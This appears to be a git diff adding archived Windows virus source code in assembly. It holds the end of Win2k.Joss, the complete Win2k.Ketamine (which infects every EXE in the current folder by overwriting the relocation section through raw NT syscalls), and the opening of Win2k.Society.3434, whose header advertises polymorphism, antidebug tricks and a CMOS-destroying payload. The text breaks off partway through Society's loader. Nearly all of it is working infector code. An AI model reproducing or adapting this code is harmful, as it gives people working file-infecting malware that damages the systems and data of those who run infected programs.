esi, [find_buffer] + lea edi, [trailings] + call infect_file + + pop dword ptr [trailings] + + inc ecx + jmp main_loop + +main_loop_end: + push ebx + @syscall NtClose, 1 + + leave +joss_end: + @SEH_RemoveFrame + popad + mov eax, offset end +host_start equ $-4 + jmp eax + + db 0, "[Win2k.Joss] by Ratter/29A", 0 + +infect_file proc near + local trailings_point_dir:path_name + local object_attribz:object_attributes + local dhandle:DWORD + local shandle:DWORD + local io_status_block:pio_status_block + local soffset:DWORD + local bytes:DWORD + local soffset_:QWORD + + pushad + @SEH_SetupFrame + + movzx eax, word ptr [edi] + mov edx, dword ptr [edi+4] + push edi + lea edi, [edx+eax] + + mov ecx, dword ptr [esi+3ch] + push ecx + lea esi, [esi+5eh] + rep movsb + + pop ecx + pop edi + + add cx, word ptr [edi] + mov ax, cx + shl ecx, 16 + mov cx, ax + mov dword ptr [edi], ecx + xchg edi, esi + + xor eax, eax + lea edi, [object_attribz] + push edi + push 18h/4 + pop ecx + rep stosd + pop edi + + push 18h + pop dword ptr [edi] + mov dword ptr [edi+8], esi + push 40h + pop dword ptr [edi+12] + + push 4060h + push 03h + lea eax, [io_status_block] + push eax + push edi + push 100007h + lea eax, [dhandle] + push eax + @syscall NtOpenFile, 6 + test eax, eax + jnz infect_file_end + + xor eax, eax + push dword ptr [dhandle] + push 08000000h + push PAGE_READWRITE + push eax + push eax + push 0f0007h + lea eax, [shandle] + push eax + @syscall NtCreateSection, 7 + test eax, eax + jnz infect_file_end_close_file + + lea edi, [soffset] + std + mov ecx, 4 + xor eax, eax + rep stosd + cld + + xor eax, eax + push 4 + push eax + push 1 + lea edx, [bytes] + push edx + lea edx, [soffset_] + push edx + push eax + push eax + lea eax, [soffset] + push eax + push -1 + push dword ptr [shandle] + @syscall NtMapViewOfSection, 10 + test eax, eax + jnz infect_file_end_close_section + mov ebx, dword ptr [soffset] + + ; + call check_for_valid_pe + jc infect_file_end_unmap_view + jnz infect_file_end_unmap_view + + cmp dword ptr [ebx.MZ_res], not "RAT" + jz infect_file_end_unmap_view + + mov eax, dword ptr [ebx.MZ_lfanew] + add eax, ebx + movzx edi, word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader] + lea edi, [edi+eax+IMAGE_SIZEOF_FILE_HEADER+4] + mov esi, dword ptr [edi.SH_PointerToRawData] + mov ecx, dword ptr [edi.SH_SizeOfRawData] + add esi, ebx + + xor edx, edx +gap_loop: + jecxz gap_loop_end + lodsb + dec ecx + call is_gap + jz $+6 + xor edx, edx + jmp gap_loop + + inc edx + cmp edx, _joss_end_-_joss_start_ + jnz gap_loop + +gap_loop_end: + cmp edx, _joss_end_-_joss_start_ + jnz infect_file_end_unmap_view + + sub esi, _joss_end_-_joss_start_ + push esi + sub esi, dword ptr [edi.SH_PointerToRawData] + pop edi + sub esi, ebx + + push esi + call $+5 +joss_here: + pop esi + sub esi, joss_here-_joss_start_ + mov ecx, _joss_end_-_joss_start_ + rep movsb + pop esi + + mov eax, dword ptr [ebx.MZ_lfanew] + mov dword ptr [ebx.MZ_res], not "RAT" + add eax, ebx + and dword ptr [eax.NT_OptionalHeader.OH_CheckSum], 0 + + mov ecx, dword ptr [eax.NT_OptionalHeader.OH_ImageBase] + add ecx, dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint] + mov dword ptr [edi-(_joss_end_-host_start)], ecx + + mov edx, dword ptr [eax.NT_OptionalHeader.OH_BaseOfCode] + add edx, esi + mov dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint], edx + ; + +infect_file_end_unmap_view: + push ebx + push -1 + @syscall NtUnmapViewOfSection, 2 +infect_file_end_close_section: + push dword ptr [shandle] + @syscall NtClose, 1 +infect_file_end_close_file: + push dword ptr [dhandle] + @syscall NtClose, 1 +infect_file_end: + @SEH_RemoveFrame + popad + leave + retn +infect_file endp + +check_for_valid_pe: + pushad + movzx eax, word ptr [ebx] + not eax + cmp eax, not "ZM" + stc + jnz check_for_valid_pe_end + mov edx, dword ptr [ebx.MZ_lfanew] + add edx, ebx + movzx eax, word ptr [edx] + not eax + cmp eax, not "EP" + stc + jnz check_for_valid_pe_end + cmp word ptr [edx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386 + stc + jnz check_for_valid_pe_end + movzx eax, word ptr [edx.NT_FileHeader.FH_Characteristics] + not al + test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL + clc +check_for_valid_pe_end: + popad + retn + +is_gap: + cmp al, 90h + jz is_gap_end + cmp al, 0cch + jz is_gap_end + test al, al + jz is_gap_end +is_gap_end: + retn + +_joss_end_ equ $ + +end: + push 0 + calle ExitProcess + +start endp +end start_ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[JOSS.ASM]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[JOSS.DEF]ΔΔΔ +NAME PREDLOHA WINDOWAPI + +DESCRIPTION 'Predloha' + +CODE PRELOAD MOVEABLE DISCARDABLE +DATA PRELOAD MOVEABLE MULTIPLE + +EXETYPE WINDOWS + +HEAPSIZE 131072 +STACKSIZE 131072 +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[JOSS.DEF]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[my_include.inc]ΔΔΔ +SERVICE_TABLE_ENTRY struc + STE_ServiceName dd ? + STE_ServiceProc dd ? +SERVICE_TABLE_ENTRY ends + +SERVICE_STATUS struc + SS_ServiceType dd ? + SS_CurrentState dd ? + SS_ControlsAccepted dd ? + SS_Win32ExitCode dd ? + SS_ServiceSpecificExitCode dd ? + SS_CheckPoint dd ? + SS_WaitHint dd ? +SERVICE_STATUS ends + +OVERLAPPED struc + O_Internal dd ? + O_InternalHigh dd ? + O_loffset dd ? + O_OffsetHigh dd ? + O_hEvent dd ? +OVERLAPPED ends + +sockaddr_in struc + sin_family dw ? + sin_port dw ? + sin_addr dd ? + sin_zero db 8 dup (?) +sockaddr_in ends + +hostent struc + h_name dd ? + h_alias dd ? + h_addr dw ? + h_len dw ? + h_list dd ? +hostent ends + +timeval struc + tv_sec dd ? + tv_usec dd ? +timeval ends + +fd_set struc + fd_count dd ? + fd_array dd ? +fd_set ends + +RASCONNSTATUSA struc + RCS_dwSize dd ? + RCS_rasconnstate dd ? + RCS_dwError dd ? + RCS_szDeviceType db 16 + 1 dup(?) + RCS_szDeviceName db 128 + 1 dup(?) +RASCONNSTATUSA ends + +_email_ struc + EM_MailFrom dd ? ; pointer to ASCIIZ + EM_RcptTo dd ? ; pointer to ASCIIZ + EM_Subject dd ? ; pointer to ASCIIZ + EM_Message dd ? ; pointer to ASCIIZ + EM_FilezNum dd ? ; number of filez; if highest bit is set + ; then in EM_Filez is a *.msg file + EM_Filez dd ? ; pointer to ASCIIZ pointerz +_email_ ends + +SYSTEMTIME struc + ST_Year dw ? + ST_Month dw ? + ST_DayOfWeek dw ? + ST_Day dw ? + ST_Hour dw ? + ST_Minute dw ? + ST_Second dw ? + ST_Milliseconds dw ? +SYSTEMTIME ends + +oper struc + OP_Oper dd ? + OP_Rites db ? ; 1 - RW; 0 - Ronly +oper ends + +@copy macro source + local copy_end + local copy_loop + push esi + mov esi, source +copy_loop: + lodsb + test al, al + jz copy_end + stosb + jmp copy_loop +copy_end: + pop esi +endm + +@endsz_ macro + local nxtchr + push esi + mov esi, edi +nxtchr: + lodsb + test al, al + jnz nxtchr + xchg esi, edi + pop esi +endm + +@pushvar macro variable, empty + local next_instr + ifnb + %out too much arguments in macro '@pushvar' + .err + endif + call next_instr + variable +next_instr: +endm + + CR_LF equ 0a0dh + WAIT_TIMEOUT equ 103h + SMTP_PORT equ 25 + + SC_MANAGER_CONNECT equ 1 + SC_MANAGER_CREATE_SERVICE equ 2 + DELETE equ 10000h + SERVICE_AUTO_START equ 2 + SERVICE_WIN32_OWN_PROCESS equ 10h + SERVICE_ACCEPT_SHUTDOWN equ 4 + SERVICE_CONTROL_RUN equ 0 + CK_SERVICE_CONTROL equ 0 + CK_PIPE equ 1 + NO_ERROR equ 0 + + SERVICE_CONTROL_INTERROGATE equ 4 + SERVICE_CONTROL_SHUTDOWN equ 5 + + SERVICE_STOPPED equ 1 + SERVICE_START_PENDING equ 2 + SERVICE_STOP_PENDING equ 3 + SERVICE_RUNNING equ 4 + SERVICE_CONTINUE_PENDING equ 5 + SERVICE_PAUSE_PENDING equ 6 + SERVICE_PAUSED equ 7 + + PIPE_ACCESS_OUTBOUND equ 2 + PIPE_TYPE_BYTE equ 0 + FILE_FLAG_OVERLAPPED equ 40000000h + + INFINITE equ -1 + + AF_INET equ 2 + HEAP_ZERO_MEMORY equ 8 + SOCK_STREAM equ 1 + CR_LF equ 0a0dh + MAX_ALLOWED_OPERZ equ 5 + SYNCHRONIZE equ 100000h + + RASCS_CONNECTED equ 2000h + MOVEFILE_DELAY_UNTIL_REBOOT equ 4 + HKEY_LOCAL_MACHINE equ 80000002h + KEY_ENUMERATE_SUB_KEYS equ 8h + HKEY_USERS equ 80000003h + KEY_QUERY_VALUE equ 1 + KEY_SET_VALUE equ 2 + REG_SZ equ 1 + REG_DWORD equ 4 + ERROR_NO_MORE_ITEMS equ 259 + + INET_THREADZ_COUNT equ 2 + INTERNET_OPEN_TYPE_DIRECT equ 1 + + POP3_PORT equ 110 + OK equ " KO+" + ERROR equ "RRE-" + + SOXZ_PORT equ 1080 + +STARTUPINFO STRUCT ;used by CreateProcessA API + cb DWORD ? + lpReserved DWORD ? + lpDesktop DWORD ? + lpTitle DWORD ? + dwX DWORD ? + dwY DWORD ? + dwXSize DWORD ? + dwYSize DWORD ? + dwXCountChars DWORD ? + dwYCountChars DWORD ? + dwFillAttribute DWORD ? + dwFlags DWORD ? + wShowWindow WORD ? + cbReserved2 WORD ? + lpReserved2 DWORD ? + hStdInput DWORD ? + hStdOutput DWORD ? + hStdError DWORD ? +STARTUPINFO ENDS +PROCESS_INFORMATION STRUCT + hProcess DWORD ? + hThread DWORD ? + dwProcessId DWORD ? + dwThreadId DWORD ? +PROCESS_INFORMATION ENDS + + GMEM_ZEROINIT equ 040h +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[my_include.inc]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[my_macroz.inc]ΔΔΔ +@pushvar macro variable, empty + local next_instr + ifnb + %out too much arguments in macro '@pushvar' + .err + endif + call next_instr + variable +next_instr: +endm + +@messagebox macro message, empty + ifnb + %out too much arguments in macro '@pushvar' + .err + endif + push 0 + @pushsz "Debug" + @pushsz + push 0 + call MessageBoxA +endm + +calle macro api + extrn api:PROC + call api +endm + +@gimme_delta macro + local gimme_delta + call gimme_delta +gimme_delta: + mov esi, esp + lodsd + sub eax, offset gimme_delta + xchg eax, ebp + mov esp, esi +endm + +calla macro api + call dword ptr [ebp+api] +endm +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[my_macroz.inc]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[MAKEFILE]ΔΔΔ +# make Will build pemangle.exe +# make -B -DDEBUG Will build the debug version of pemangle.exe + +NAME = joss +OBJS = $(NAME).obj +DEF = $(NAME).def + +!if $d(DEBUG) +TASMDEBUG=/zi /m +LINKDEBUG=/v +!else +TASMDEBUG=/m +LINKDEBUG= +!endif + +!if $d(MAKEDIR) +IMPORT=import32.lib # Edit this to point your own library path +!else +IMPORT=import32.lib # or put the file in the same directory +!endif + +$(NAME).EXE: $(OBJS) $(DEF) + tlink32 /Tpe /aa /c /x $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF) + pewrite.exe $(NAME).exe + del $(OBJS) + +.asm.obj: + tasm32 $(TASMDEBUG) /ml /i..\..\includes $&.asm +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[MAKEFILE]ΔΔΔ diff --git a/LegacyWindows/Win2k.Ketamine.asm b/LegacyWindows/Win2k.Ketamine.asm new file mode 100644 index 00000000..0c38739f --- /dev/null +++ b/LegacyWindows/Win2k.Ketamine.asm @@ -0,0 +1,547 @@ + +COMMENT# + + ΪΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΏ + ΓΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕ΄ + ΓΕΕΕΕΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΕΕΕΕ΄ + ΓΕΕΕ΄ Win2k.Ketamine ΓΕΕΕ΄ + ΓΕΕΕ΄ by Benny/29A ΓΕΕΕ΄ + ΓΕΕΕΕΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΒΕΕΕΕ΄ + ΓΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕΕ΄ + ΐΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΩ + + + +This is my next (very small) virus, specialised on Win2k machinez. It should be also +able to run under WinNT machinez, but I'm not sure, becoz I didn't test it. The virus +does not use any APIz, instead of that, its uses NT syscallz. The virus does not do +anything special apart of that, it can only infect all EXE filez in current folder +and does not manifest itself in any way. Infected filez have the same size, becoz +virus overwritez the relocation section. The virus should be compatible with newer +versionz of Windows OS'ez based on NT system. The only point of incompatibility is, +becoz I decided to not use ANY API, the code where the virus expect the fixed address +of NTDLL.dll modul loaded in process virtual memory. Virus searchez inside the NTDLL.dll +for syscall numberz and so it SHOULD be forward compatible. At least a bit...;-) + +Here I have to thank Ratter, he inspired me a lot with his Win2k.Joss. The functionality +of Win2k.Ketamine and Win2k.Joss is almost the same, I only recoded some of his code on my +own and added a few new ideaz, which should make Ketamine more compatible with Windows, +rather than Joss. I have to say, that he inspired me a lot, but the code is not ripped. I +also disassembled NTDLL.dll and NTOSKRNL.EXE and found the same resultz as him, surprisely ;-D +But ofcoz, I decided to not discover the America again and so I used some of his code in +my virus. + +The virus was coded only to show that something is possible, not to make high-spreading virus. + +Enjoy it! + + + +(c)oded in August, 2001 +Czech Republic. +# + + + + + +.386p +.model flat,stdcall +locals + +include win32api.inc +include useful.inc +include mz.inc +include pe.inc + + +invoke macro api ;macro for API callz + extrn api:PROC + call api +endm + + +unicode_string struc + us_length dd ? ;length of the string + us_pstring dd ? ;ptr to string +unicode_string ends + + +path struc + p_path dw MAX_PATH dup (?) ;maximal length of path in unicode +path ends + + +object_attributes struc + oa_length dd ? ;length of structure + oa_rootdir dd ? + oa_objectname dd ? ;name of object + oa_attribz dd ? ;attributez of the object + oa_secdesc dd ? + oa_secqos dd ? +object_attributes ends + + +pio_status struc ;status structure + ps_ntstatus dd ? + ps_info dd ? +pio_status ends + + +.data + db ? ;some data + + +.code +_Start: pushad +gdelta = $+5 ;delta offset + @SEH_SetupFrame + + mov edx,cs + xor dl,dl + jne end_seh ;must be under winNT/2k! + + mov ebp,[esp+4] + call get_syscalls ;get numberz of all needed syscallz + +Start Proc + local uni_string:unicode_string + local u_string:path + local object_attr:object_attributes + local io_status:pio_status + local dHandle:DWORD + local WFD:WIN32_FIND_DATA + + mov [uni_string.us_length],80008h ;length of the string + lea edi,[u_string] + mov [uni_string.us_pstring],edi ;set the pointer + call @qm + dw '\','?','?','\' ;initial string of the object +@qm: pop esi + movsd + movsd ;save it + mov esi,fs:[18h] + mov esi,[esi+30h] + mov esi,[esi+10h] + add esi,24h + mov esi,[esi+4] ;ESI = current folder + xor ecx,ecx +l_copy: lodsw + inc ecx + stosw ;append it + test eax,eax + jne l_copy + dec ecx + + lea edi,[uni_string] + shl ecx,1 + add cx,[edi] + mov ax,cx + shl ecx,16 + mov cx,ax + mov [edi],ecx ;save the new length + + xor ecx,ecx ;initialize the structure ... + lea eax,[uni_string] + lea edi,[object_attr] + mov [edi.oa_length],24 + and [edi.oa_rootdir],ecx + mov [edi.oa_objectname],eax + mov [edi.oa_attribz],40h + and [edi.oa_secdesc],ecx + and [edi.oa_secqos],ecx + + push 4021h + push 3h + lea eax,[io_status] + push eax + push edi + push 100001h + lea ebx,[dHandle] + push ebx + call NtOpenFile ;open the current folder + mov ebx,[ebx] + + xor ecx,ecx +f_loop: push ecx + + xor eax,eax + push eax + call @p1 + dd 0A000Ah ;length of the string + dd ? ;ptr to string +@p1: pop esi + call @exe + dw '<','.','E','X','E' ;string +@exe: pop dword ptr [esi+4] ;save the ptr + jecxz @1st + xor esi,esi +@1st: push esi + push 1 + push 3 + push MAX_PATH*2 + lea edx,[WFD] + push edx + lea edx,[io_status] + push edx + push eax + push eax + push eax + push ebx + mov eax,12345678h +NtQDF = dword ptr $-4 + lea edx,[esp] + int 2Eh ;NtQueryDirectoryFile + add esp,4*11 ;correct the stack + + pop ecx + test eax,eax + jne e_loop ;quit if no more file + + push dword ptr [uni_string] ;save the length + + lea esi,[WFD] ;WIN32_FIND_DATA structure + lea edi,[uni_string] ;the filename + call infect_file ;infect the file + + pop dword ptr [uni_string] ;restore the length + inc ecx + jmp f_loop ;find next file + +e_loop: push ebx + call NtClose ;close the directory + + leave +end_seh:@SEH_RemoveFrame + popad + + extrn ExitProcess:PROC + push cs + push offset ExitProcess +original_ep = dword ptr $-4 + retf ;jump to host! +Start EndP + + + +NtClose:mov eax,12345678h +NtC = dword ptr $-4 + lea edx,[esp+4] + int 2Eh ;close the handle + ret 4 + +NtOpenFile: + mov eax,12345678h +NtOF = dword ptr $-4 + lea edx,[esp+4] + int 2Eh ;open the object + ret 4*6 + + + +infect_file Proc + local object_attr:object_attributes + local io_status:pio_status + local fHandle:DWORD + local sHandle:DWORD + local sOffset:DWORD + local bytez:DWORD + local sOffset2:QWORD + + pushad + @SEH_SetupFrame + + movzx edx,word ptr [edi] + add edx,[edi+4] + push edi + mov edi,edx ;EDI - end of string + + mov ecx,[esi+3Ch] ;size of filename + push ecx + lea esi,[esi+5Eh] ;filename + rep movsb ;copy the string + pop ecx + pop edi + + add cx,[edi] + mov ax,cx + shl ecx,16 + mov cx,ax + mov [edi],ecx ;size of path+filename + xchg eax,edi + + xor ecx,ecx ;initialize the structure... + lea edi,[object_attr] + mov [edi.oa_length],24 + and [edi.oa_rootdir],ecx + mov [edi.oa_objectname],eax + mov [edi.oa_attribz],40h + and [edi.oa_secdesc],ecx + and [edi.oa_secqos],ecx + + push 4060h + push 3h + lea ecx,[io_status] + push ecx + push edi + push 100007h + lea ebx,[fHandle] + push ebx + call NtOpenFile ;open the file + test eax,eax + jne if_end + mov ebx,[ebx] + + xor eax,eax + push ebx + push 8000000h + push PAGE_READWRITE + push eax + push eax + push 0F0007h + lea ebx,[sHandle] + push ebx + mov eax,12345678h +NtCS = dword ptr $-4 + mov edx,esp + int 2Eh ;NtCreateSection + add esp,4*7 ;correct stack + test eax,eax + jne if_end2 + mov ebx,[ebx] + + lea edx,[bytez] ;initialize some variablez + xor eax,eax + and [sOffset],eax + and [edx],eax + and dword ptr [sOffset2],eax + and dword ptr [sOffset2+4],eax + + push 4 + push eax + push 1 + push edx + lea edx,[sOffset2] + push edx + push eax + push eax + lea esi,[sOffset] + push esi + push -1 + push ebx + mov eax,12345678h +NtMVOS = dword ptr $-4 + mov edx,esp + int 2Eh ;NtMapViewOfSection + add esp,4*10 + test eax,eax + jne if_end3 + mov ebx,[esi] ;EBX = start of memory-mapped file + + mov esi,[ebx.MZ_lfanew] + add esi,ebx + mov eax,[esi] + add eax,-IMAGE_NT_SIGNATURE + jne if_end4 ;must be PE file + + ;discard not_executable and system filez + cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386 + jne if_end4 + mov ax,[esi.NT_FileHeader.FH_Characteristics] + test ax,IMAGE_FILE_EXECUTABLE_IMAGE + je if_end4 + test ax,IMAGE_FILE_DLL + jne if_end4 + test ax,IMAGE_FILE_SYSTEM + jne if_end4 + mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem] + test al,IMAGE_SUBSYSTEM_NATIVE + jne if_end4 + + movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections] + dec eax + test eax,eax + je if_end4 + imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER + movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader] + lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4] + add edi,esi + lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress] + mov eax,[edx] + test eax,eax + je if_end4 + cmp eax,[edi.SH_VirtualAddress] + jne if_end4 + cmp [edi.SH_SizeOfRawData],virus_end-_Start + jb if_end4 ;is it large enough? + + pushad + xor eax,eax + mov edi,edx + stosd + stosd + popad ;erase relocs record + + ;align the section size + mov eax,virus_end-_Start + cmp eax,[edi.SH_VirtualSize] + jb o_vs + mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment] + cdq + div ecx + test edx,edx + je o_al + inc eax +o_al: mul ecx + mov [edi.SH_VirtualSize],eax + +o_vs: push ebp ;save EBP + call idelta ;get delta offset +idelta: pop ebp + push dword ptr [ebp + original_ep - idelta] + + mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint] + push dword ptr [edi.SH_VirtualAddress] + pop dword ptr [esi.NT_OptionalHeader.OH_AddressOfEntryPoint] + mov [ebp + original_ep - idelta],eax + mov eax,[esi.NT_OptionalHeader.OH_ImageBase] + add [ebp + original_ep - idelta],eax + ;set saved_entrypoint variable + pushad + mov edi,[edi.SH_PointerToRawData] + add edi,ebx + lea esi,[ebp + _Start - idelta] + mov ecx,(virus_end-_Start+3)/4 + rep movsd ;overwrite relocs by virus body + popad + pop dword ptr [ebp + original_ep - idelta] + ;restore used variablez + or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE + pop ebp ;restore EBP + +if_end4:push ebx + push -1 + mov eax,12345678h +NtUVOS = dword ptr $-4 + mov edx,esp + int 2Eh ;NtUnmapViewOfSection + add esp,4*2 +if_end3:push [sHandle] + call NtClose ;close the section +if_end2:push [fHandle] + call NtClose ;close the file +if_end: @SEH_RemoveFrame + popad + ret +infect_file EndP + + + +get_syscalls Proc + mov esi,77F80000h ;base of NTDLL.dll + mov edx,[esi.MZ_lfanew] + add edx,esi + mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] + add ebx,esi + mov ecx,[ebx.ED_NumberOfNames] + mov edx,[ebx.ED_AddressOfNames] + add edx,esi + + xor eax,eax +c_find: pushad + add esi,[edx+eax*4] + push esi + @endsz + mov edi,esi + pop esi + sub edi,esi + call CRC32 ;calculate CRC32 of the API + + push 6 ;number of syscallz + pop ecx + + call @callz + dd 09ECA4E0Fh ;NtOpenFile + dd 0D5494178h ;NtQueryDirectoryFile + dd 0B964B7BEh ;NtClose + dd 03F2482E6h ;NtCreateSection + dd 010710614h ;NtMapViewOfSection + dd 0864CF09Bh ;NtUnmapViewOfSection +@callz: pop edx + +c_look: cmp [edx-4+(ecx*4)],eax + je got_call + loop c_look +c_out: popad + inc eax + loop c_find + ret + +got_call: + mov edx,[ebx.ED_AddressOfOrdinals] + mov esi,[esp.Pushad_esi] + add edx,esi + mov eax,[esp.Pushad_eax] + movzx eax,word ptr [edx+eax*2] + mov edx,esi + add edx,[ebx.ED_AddressOfFunctions] + mov eax,[edx+eax*4] + add eax,esi + + mov eax,[eax+1] ;get number of the syscall + lea edx,[ebp + _Start - gdelta] + add edx,[ebp + sys_addr-4+ecx*4 - gdelta] + mov [edx],eax ;save it + jmp c_out +get_syscalls EndP + + +sys_addr: ;where to save syscall numberz... + dd offset NtOF-_Start + dd offset NtQDF-_Start + dd offset NtC-_Start + dd offset NtCS-_Start + dd offset NtMVOS-_Start + dd offset NtUVOS-_Start + +CRC32: push ecx ;procedure for calculating CRC32s + push edx ;at run-time + push ebx + xor ecx,ecx + dec ecx + mov edx,ecx +NextByteCRC: + xor eax,eax + xor ebx,ebx + lodsb + xor al,cl + mov cl,ch + mov ch,dl + mov dl,dh + mov dh,8 +NextBitCRC: + shr bx,1 + rcr ax,1 + jnc NoCRC + xor ax,08320h + xor bx,0EDB8h +NoCRC: dec dh + jnz NextBitCRC + xor ecx,eax + xor edx,ebx + dec edi + jne NextByteCRC + not edx + not ecx + pop ebx + mov eax,edx + rol eax,16 + mov ax,cx + pop edx + pop ecx + ret + +signature db 0,'WinNT.Ketamine by Benny/29A',0 + +virus_end: +End _Start diff --git a/LegacyWindows/Win2k.Society.3434.asm b/LegacyWindows/Win2k.Society.3434.asm new file mode 100644 index 00000000..bd2028b0 --- /dev/null +++ b/LegacyWindows/Win2k.Society.3434.asm @@ -0,0 +1,2557 @@ + +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[SOCIETY.TXT]ΔΔΔ +;============================================================================== +; Win9x/Win2k.Society.3434 (c) necr0mancer +; december 2001 +;ring-3 PE infector +; +;Features: +; +; * Works only in win2k & win9x,but can work on winNT(I haven't it!) if +; you add it kernel base on table (see source). +; * Polymorphic (use NPE32 engine). +; * Some infection methods (EPO,standart, .reloc OR .debug overwrite). +; * Simple antidebug. +; * Payload (on trace with td32:)) CMOS kill.) +; * Not infecting winzip self-extactors & upx-packed files +; +;Tnx: to all who write stuff. +; Infection sheme: +; +;============================================================================== +; ΪΔΔΔΔΔΔΔΔΔΔΔΏ +; ³ main ³ ΝΝΝΝΝ - incorect secton size +; ΐΔΔΔΔΔΒΔΔΔΔΔΩ +; ΪΔΔΔΔΔΑΔΔΔΔΔΏ +; ³ find reloc³ +; ΐΔΔΔΔΔΒΔΔΔΔΔΩ +; ΪΔΔΔΔΔΔΔΔΔΑΔΔΔΔΔΔΔΔΔΏ +; ΪΔΔΑΔΔΔΏ ΪΔΔΔΑΔΔΏ +; ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄findedΖΝΝΝΝΝΝ» ³failed³ +; ³ ΐΔΔΒΔΔΔΩ Ί ΐΔΔΔΒΔΔΩ +; ³ ΪΔΔΔΔΔΔΔΔΔΑΔΔΔΔΔΏ Ί ΪΔΔΔΔΑΔΔΔΔΔΔΔΔΏ +; ³ ³ EPO infection ³ ΪΔΧΔΔΔ΄ find .debug ³ +; ³ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ ³ Ί ΐΔΔΔΔΒΔΔΔΔΔΔΔΔΩ +; ³ ³ Ί ³ +; ³ ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ ³ Ί ΪΔΔΔΔΑΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ +; ΐΔ΄Overwrite infection ΓΔΔΔΔΩ ΘΝΝΝ΅"standart" infection ³ +; ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ +; +; +;============================================================================== + + + +include 1.inc +include win.inc + +PAGE_READWRITE equ 4 +FILE_MAP_WRITE equ 2 +DEBUG equ 0 ;no debug-release;) + +extrn MessageBoxA:near +extrn ExitProcess:near + + +VIRTUAL_SIZE equ (offset _endvbody-offset _start) +PHYSICAL_SIZE equ (offset _fbodyend-offset _start) +DEBUG equ 0 + + .586p + .model flat + + .data + +message_title db '[Dekadance] has been start.',0 + +_message db 'Credo:',0dh + db 'Dekadance is lifestyle.',0dh,0dh + db 'Copyleft (c) 2001 necr0mancer',0 + .code + +_emulation: + + push eax ;jmp viri + xor eax,eax + jmp _callz_manager + +Original: + + push MB_ICONEXCLAMATION + push offset message_title + push offset _message + push 0 + call MessageBoxA + + push 0 + call ExitProcess ; call ExitProcess + +;------------------------------------------------------------------------------ +;Run loader +_callz_manager: + + pushfd ;save flags®s + pusha + +@cm equ <-offset @@GetDelta> + 